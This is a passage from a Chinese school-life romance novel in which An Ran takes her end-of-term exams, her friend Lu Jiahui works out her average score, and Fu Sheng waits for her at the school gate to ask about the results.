卢佳慧赶紧摇头:“那还是算了,想一想就很痛苦,要是一直这么学下去的话,成绩还没出来,我就先崩溃了。” 安苒抿了下唇,没说话。 * 月考之后,时间过得飞快。 今年实验被选做了高考和中考的考场,于是在暑假之前,实验的学生先放了两回假。 两次假放完,学校空了三分之一,高三的整栋教学楼都不见了人影,略显肃静,在这股紧迫感中,高一和高二的学生迎来了期末。 安苒照着分数,认真答卷,保险起见,她没卡那么死。 分数出来后,第一个帮她算平均成绩的人是卢佳慧,对方算完,把笔一扔,抱着她一连啊了好几声,好在教室很吵,没人在意她们这儿。 安苒提醒她:“还要比较其他人的成绩呢。” 卢佳慧拍着胸脯保证:“百分之一万!” 晚上放学,安苒刚出校门就看到了榕树旁站着的人。 最近几天都没有晚自习了,所以她和傅笙也就没有一起回去,难得在白天看到对方站在这里。 少年身姿挺拔,容貌出众,哪怕只是随意站着,也吸引了不少人偷偷瞥过去一眼。 安苒不用偷瞥,她停下来正大光明地看,等傅笙发现后才走过去:“在等我吗?” 傅笙点头,问她:“成绩怎么样?” 安苒起先还故意抿着嘴,在对方越来越凝重的表情下,终于忍不住笑了起来。 “当然是考到了!”